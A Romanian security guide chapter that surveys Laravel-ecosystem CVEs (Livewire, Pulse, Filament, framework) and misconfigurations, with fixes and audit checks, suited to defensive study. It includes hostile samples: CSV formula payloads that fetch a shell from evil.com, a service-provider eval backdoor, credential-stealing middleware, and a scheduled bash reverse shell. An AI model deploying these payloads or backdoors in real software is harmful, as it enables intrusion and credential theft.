🔒 Hacked
Capitolul 6

Cele 12 CVE-uri pe care fiecare developer Laravel trebuie să le cunoască

Aplicația ta Laravel nu e doar codul tău. E construită pe un turn de dependențe: framework-ul însuși, Livewire, Filament, Pulse, Nova și zeci de pachete Composer. Orice vulnerabilitate din acel turn îți compromite întreaga aplicație.

Acest capitol documentează cele mai critice CVE-uri care afectează ecosistemul Laravel în 2024-2026. Unele dintre ele permit execuție de cod de la distanță fără autentificare. Dacă rulezi versiuni vulnerabile, serverul tău este probabil deja compromis.

2
RCE Critice
5
Severitate Ridicată
5
Vulnerabilități Config

Peisajul Amenințărilor (2024-2026)

Ecosistemul Laravel a văzut o schimbare semnificativă în vectorii de atac:

CategorieFrecvențăImpactVector Principal
RCE via Hidratare/DeserializareRidicatăCriticPayload-uri JSON manipulate în Livewire/Pulse
Bypass AutentificareMedieCriticLogică MFA defectuoasă (Filament)
Injecție EnvironmentScăzutăRidicatManipulare argv în configurări non-standard
Injecție CSV/FormulePersistentăMediuExporturi de date nesanitizate
💀

Atacatorii Scanează Pentru Acestea

Scannere automate verifică zilnic instalări Livewire și Pulse vulnerabile. Aceste CVE-uri sunt exploatate activ în sălbăticie. Verifică-ți versiunile ACUM.


CVE-uri Critice (CVSS 9.0+)

Aceste vulnerabilități permit execuție de cod de la distanță fără autentificare. Dacă rulezi versiuni afectate, presupune compromitere până la proba contrarie.

CVE-2025-54068: RCE Livewire prin Hydration Smuggling

CVE-2025-54068 critical
CVSS: 9.8

Execuție de Cod de la Distanță via Hydration Smuggling

Package: livewire/livewire Affected: 3.0.0 - 3.6.3

Impact: Atacatorii pot executa cod arbitrar pe serverul tău fără autentificare.

Mecanism: Procesul de hidratare a proprietăților Livewire deserializează payload-uri JSON fără validare adecvată. Un atacator poate crea JSON malițios care, când este hidratat, instanțiază obiecte PHP arbitrare - ducând la RCE prin lanțuri gadget.

Remediere: Actualizează la Livewire 3.6.4+ sau 2.12.7+ IMEDIAT. Nu există workaround.

Cum funcționează atacul:

1. Atacatorul identifică componentă Livewire
2. Interceptează/modifică payload-ul JSON wire:snapshot
3. Injectează obiect malițios serializat
4. Livewire deserializează fără validare
5. Instanțierea obiectului declanșează RCE via __wakeup() sau __destruct()
Tipar Component Vulnerabil MALICIOUS CODE
// ORICE componentă Livewire cu proprietăți publice este vulnerabilă
class UserProfile extends Component
{
  public $userData;  // Poate fi manipulat via hidratare
  public $settings;  // Atacatorul controlează tipul

  public function render()
  {
      return view('livewire.user-profile');
  }

}

// Atacatorul trimite wire:snapshot modificat:
// {"userData":{"__PHP_Incomplete_Class_Name":"GadgetClass",...}}

Indicatori de Compromitere:

Tipar Detectare pentru composer.lock:

/livewire\/livewire.*"version":\s*"3\.[0-5]\./

CVE-2024-55661: RCE Laravel Pulse via remember()

CVE-2024-55661 critical
CVSS: 9.1

RCE via Metoda Publică remember()

Package: laravel/pulse Affected: < 1.3.1

Impact: Execuție de cod de la distanță prin dashboard-ul Pulse.

Mecanism: Metoda remember() din trait-ul Livewire al Pulse era accesibilă public, permițând atacatorilor să otrăvească cache-ul cu date serializate malițioase care se execută când sunt recuperate.

Remediere: Actualizează la Pulse 1.3.1+. Restricționează accesul la dashboard via Gates.

Vector de Atac:

1. Atacatorul accesează dashboard-ul Pulse (dacă nu e securizat corect)
2. Apelează remember() cu callback malițios
3. Callback-ul este serializat și stocat în cache
4. La următoarea recuperare, codul malițios se execută
🚨

Acces Dashboard = Acces Server

Dacă dashboard-ul tău Pulse este accesibil fără autentificare, ai probleme mai mari decât acest CVE. Întotdeauna securizează dashboard-urile de monitorizare.


CVE-uri Severitate Ridicată (CVSS 7.0 - 8.9)

Aceste vulnerabilități pot duce la bypass autentificare, escaladare privilegii sau expunere date sensibile.

CVE-2025-67507: Bypass MFA Filament

CVE-2025-67507 high
CVSS: 8.5

Bypass Autentificare MFA via Reutilizare Coduri de Recuperare

Package: filament/filament Affected: 4.0.0 - 4.3.0

Impact: Autentificarea multi-factor poate fi ocolită prin reutilizarea codurilor de recuperare.

Mecanism: După ce un cod de recuperare este folosit, nu este invalidat. Un atacator cu un cod de recuperare scurs îl poate folosi de nelimitat de ori.

Remediere: Actualizează la Filament 4.3.1+. Rotește TOATE codurile de recuperare pentru utilizatorii existenți.

Bug-ul:

// VULNERABIL: Codurile de recuperare nu sunt invalidate după utilizare
public function validateRecoveryCode($code)
{
    return in_array($code, $user->recovery_codes);
    // Lipsește: Elimină codul folosit din array!
}

// CORECTAT: Implementare corectă
public function validateRecoveryCode($code)
{
    if (!in_array($code, $user->recovery_codes)) {
        return false;
    }

    // Invalidează codul folosit
    $user->recovery_codes = array_filter(
        $user->recovery_codes,
        fn($c) => $c !== $code
    );
    $user->save();

    return true;
}

CVE-2024-52301: Injecție Variabile de Mediu

CVE-2024-52301 high
CVSS: 8.7

Injecție Environment via argv

Package: laravel/framework Affected: Versiuni multiple (vezi mai jos)

Impact: Atacatorii pot manipula variabilele de mediu Laravel via query strings.

Mecanism: Când register_argc_argv=On în PHP, parametrii query string sunt parsați ca argumente de linie de comandă. Laravel le citește, permițând atacatorilor să seteze APP_ENV=local sau APP_DEBUG=true via URL.

Remediere: Actualizează Laravel. Setează register_argc_argv=Off în php.ini.

Versiuni Afectate:

Exemplu de Atac:

https://example.com/?APP_ENV=local&APP_DEBUG=true

Cu register_argc_argv=On, aceasta setează:
- APP_ENV → local (ocolește securitatea de producție)
- APP_DEBUG → true (activează CVE-2024-13919 XSS)

Verifică Configurația PHP:

// Rulează asta pe serverul tău
if (ini_get('register_argc_argv') === '1') {
    echo "VULNERABIL! Setează register_argc_argv=Off în php.ini";
}

CVE-2024-13919: XSS pe Pagina de Debug

CVE-2024-13919 high
CVSS: 7.5

XSS Reflectat pe Pagina de Eroare Debug

Package: laravel/framework Affected: 11.9.0 - 11.35.x

Impact: Cross-site scripting pe pagina de eroare debug Laravel.

Mecanism: Când APP_DEBUG=true, pagina de eroare reflectă input nesanitizat, permițând injecție de script.

Remediere: Actualizează la Laravel 11.36.0+. Asigură-te că APP_DEBUG=false în producție.

ℹ️

Mod Debug + Injecție Environment = Atac în Lanț

CVE-2024-52301 + CVE-2024-13919 pot fi înlănțuite: 1. Folosește injecție environment pentru a activa modul debug 2. Declanșează o eroare 3. Injectează payload XSS via pagina debug


CVE-2025-27515: Bypass Autorizare via Gates

CVE-2025-27515 high
CVSS: 8.1

Bypass Autentificare via Gates Configurate Greșit

Package: laravel/framework Affected: Multiple

Impact: Bypass autorizare prin Gates definite incorect.

Mecanism: Anumite configurații de Gate pot fi ocolite, permițând acces neautorizat la resurse protejate.

Remediere: Actualizează framework-ul. Auditează toate definițiile de Gate pentru erori de logică.

Auditează-ți Gate-urile:

// Revizuiește toate definițiile Gate în AuthServiceProvider
Gate::define('admin', function ($user) {
    // VULNERABIL: Niciun return false explicit
    if ($user->is_admin) {
        return true;
    }
    // Lipsește: return false;
});

// SECURIZAT: Întotdeauna returnează explicit
Gate::define('admin', function ($user) {
    return $user->is_admin === true;
});

CVE-2025-54082: Vulnerabilitate Laravel Nova

CVE-2025-54082 high
CVSS: 7.8

Vulnerabilitate de Securitate în Panoul Admin

Package: laravel/nova Affected: Versiuni multiple

Impact: Vulnerabilitate de securitate în panoul admin Nova.

Remediere: Actualizează la ultima versiune Nova. Auditează toate pachetele Nova third-party.


CVE-uri Severitate Medie

Aceste vulnerabilități necesită condiții specifice dar pot cauza în continuare daune semnificative.

CVE-2025-55745: Injecție Formule CSV

CVE-2025-55745 medium
CVSS: 6.5

Injecție Formule CSV

Package: maatwebsite/excel Affected: Versiuni multiple

Impact: RCE pe partea clientului când utilizatorii deschid fișiere CSV/Excel exportate.

Mecanism: Câmpurile care încep cu =, +, -, @ sau caractere tab sunt interpretate ca formule de Excel. Formulele malițioase pot executa comenzi.

Remediere: Prefixează caracterele periculoase cu apostrof în timpul exportului.

Exemplu Payload:

=cmd|'/C calc'!A0
=HYPERLINK("http://evil.com/steal?d="&A1)
+cmd|'/C powershell IEX(wget evil.com/shell)'!A0

Fix:

// Sanitizează înainte de export
public function sanitizeForExcel($value): string
{
    $dangerousChars = ['=', '+', '-', '@', "\t", "\r"];

    if (isset($value[0]) && in_array($value[0], $dangerousChars)) {
        return "'" . $value;  // Prefixează cu apostrof
    }

    return $value;
}

Spatie Media Library XSS (Issue #3865)

SPATIE-ML-3865 medium
CVSS: 6.1

XSS via Atribute HTML Nesanitizate

Package: spatie/laravel-medialibrary Affected: Versiuni multiple

Impact: Cross-site scripting prin atribute HTML nesanitizate în componentele Blade.

Remediere: Sanitizează explicit atributele custom înainte de a le pasa componentelor media library.


Vulnerabilități de Configurare

Acestea nu sunt CVE-uri dar sunt misconfigurări la fel de periculoase găsite în aplicații Laravel de producție.

CONFIG-001: Mod Debug în Producție

💀

Greșeala #1 de Securitate Laravel

43% din site-urile Laravel compromise aveau APP_DEBUG=true în producție. Această singură setare expune: variabile de mediu, credențiale bază de date, stack trace-uri complete și activează multiple CVE-uri.

Verifică:

// Aceasta nu ar trebui să fie NICIODATĂ true în producție
if (config('app.debug') && config('app.env') === 'production') {
    // EȘTI VULNERABIL
}

CONFIG-002: Debugbar în Producție

RiscDetalii
Variabile EnvironmentToate valorile .env vizibile
Query-uri SQLQuery-uri complete cu binding-uri
Date SesiuneConținut complet sesiune
Date RequestToți parametrii POST/GET

Fix:

# Instalează doar în require-dev
composer require barryvdh/laravel-debugbar --dev

# .env (dezactivare explicită)
DEBUGBAR_ENABLED=false

CONFIG-003: Expunere APP_KEY

🚨

APP_KEY = Compromitere Server

Dacă APP_KEY-ul tău este scurs, atacatorii pot: - Decripta toate datele criptate - Falsifica cookie-uri de sesiune - Executa RCE via deserializare (lanțuri gadget phpggc) - Accesa conturi de utilizatori fără parole

Nu comite niciodată .env în git:

# .gitignore (OBLIGATORIU)
.env
.env.backup
.env.*.local

Dacă APP_KEY-ul tău a fost vreodată expus:

# 1. Generează cheie nouă
php artisan key:generate

# 2. Invalidează toate sesiunile
php artisan session:flush
php artisan cache:clear

# 3. Re-criptează datele sensibile (dacă ai folosit encrypt())
# Aceasta necesită migrare custom

# 4. Rotește toate token-urile API/parolele

CONFIG-004: Telescope în Producție

Laravel Telescope loghează fiecare request, query, job și excepție. Dacă e accesibil în producție:

Date ExpuseRisc
Body-uri requestCredențiale, chei API în date POST
Query-uri bază de dateStructura tabelelor, date
Payload-uri jobInformații interne sistem
Trace-uri excepțiiCăi complete de cod

Securizează Telescope:

// app/Providers/TelescopeServiceProvider.php
protected function gate()
{
    Gate::define('viewTelescope', function ($user) {
        return in_array($user->email, [
            'admin@yourdomain.com',
        ]);
    });
}

CONFIG-005: register_argc_argv Activat

Această setare PHP activează CVE-2024-52301:

; php.ini - TREBUIE să fie Off
register_argc_argv = Off

Verifică toate serverele:

php -i | grep register_argc_argv

Tipare de Atac Specifice Laravel

Dincolo de CVE-uri, atacatorii țintesc arhitectura Laravel:

Service Provider-i Malițioși

Service provider-ii rulează la fiecare request. Un provider compromis = backdoor persistent.

// MALIȚIOS: Backdoor în service provider
class EvilServiceProvider extends ServiceProvider
{
    public function boot()
    {
        if (request('backdoor') === 'secret') {
            eval(request('cmd'));  // Rulează la FIECARE request
        }
    }
}

Detectare: Scanează app/Providers/*.php pentru eval, shell_exec, system.


Middleware Malițios

Middleware-ul interceptează toate request-urile HTTP - perfect pentru furt de credențiale.

// MALIȚIOS: Middleware de furt credențiale
class ShadowMiddleware
{
    public function handle($request, $next)
    {
        if ($request->has('password')) {
            // Exfiltrează credențiale
            file_put_contents('/tmp/.shadow',
                $request->email . ':' . $request->password . "\n",
                FILE_APPEND
            );
        }
        return $next($request);
    }
}

Comenzi Programate Otrăvite

Job-urile cron rulează cu privilegii de server:

// MALIȚIOS: Reverse shell în scheduler
$schedule->exec('bash -i >& /dev/tcp/evil.com/4444 0>&1')
    ->everyMinute();

Auditează-ți Kernel.php regulat.


Checklist Vulnerabilități

Rulează aceste verificări pe fiecare aplicație Laravel:

Acțiuni Imediate

# 1. Verifică versiunea Livewire
composer show livewire/livewire | grep version
# Trebuie să fie >= 3.6.4 sau >= 2.12.7

# 2. Verifică versiunea Pulse
composer show laravel/pulse | grep version
# Trebuie să fie >= 1.3.1

# 3. Verifică versiunea Filament
composer show filament/filament | grep version
# Trebuie să fie >= 4.3.1

# 4. Rulează Composer audit
composer audit

# 5. Verifică configurația PHP
php -i | grep register_argc_argv
# Trebuie să fie Off

Audit Configurație

// Rulează în tinker sau creează o comandă
$issues = [];

if (config('app.debug') && config('app.env') === 'production') {
    $issues[] = 'CRITIC: APP_DEBUG=true în producție';
}

if (config('debugbar.enabled')) {
    $issues[] = 'RIDICAT: Debugbar activat';
}

if (ini_get('register_argc_argv') === '1') {
    $issues[] = 'RIDICAT: register_argc_argv=On (CVE-2024-52301)';
}

if (file_exists(base_path('.env')) && is_readable(base_path('.env'))) {
    $envContent = file_get_contents(base_path('.env'));
    if (strpos($envContent, 'APP_KEY=base64:') === false) {
        $issues[] = 'CRITIC: APP_KEY nu e setat corect';
    }
}

foreach ($issues as $issue) {
    echo "❌ {$issue}\n";
}

if (empty($issues)) {
    echo "✅ Verificările de securitate de bază au trecut\n";
}

Sumar

Ecosistemul Laravel s-a confruntat cu vulnerabilități critice în 2024-2026:

9.8
Cel Mai Mare CVSS (Livewire)
6
Update-uri Framework Necesare

Acțiuni Prioritare:

  1. Actualizează Livewire la 3.6.4+ (CVE-2025-54068 - CRITIC)
  2. Actualizează Pulse la 1.3.1+ (CVE-2024-55661 - CRITIC)
  3. Actualizează Filament la 4.3.1+ și rotește codurile de recuperare
  4. Actualizează Laravel la ultima versiune patch
  5. Setează register_argc_argv=Off în php.ini
  6. Asigură-te că APP_DEBUG=false în producție
  7. Nu activa niciodată Debugbar în producție
  8. Protejează APP_KEY - nu comite niciodată în git

Ține minte: Aceste CVE-uri sunt exploatate activ. Dacă rulezi versiuni vulnerabile, presupune că serverul tău necesită analiză forensică.


Următorul: Capitolul 7 - 40 de Verificări de Securitate pentru Aplicația Ta Laravel

Acum cunoști CVE-urile. Capitolul următor oferă un checklist comprehensiv pentru a-ți audita întreaga aplicație Laravel - de la autentificare la upload-uri de fișiere la securitatea API-urilor.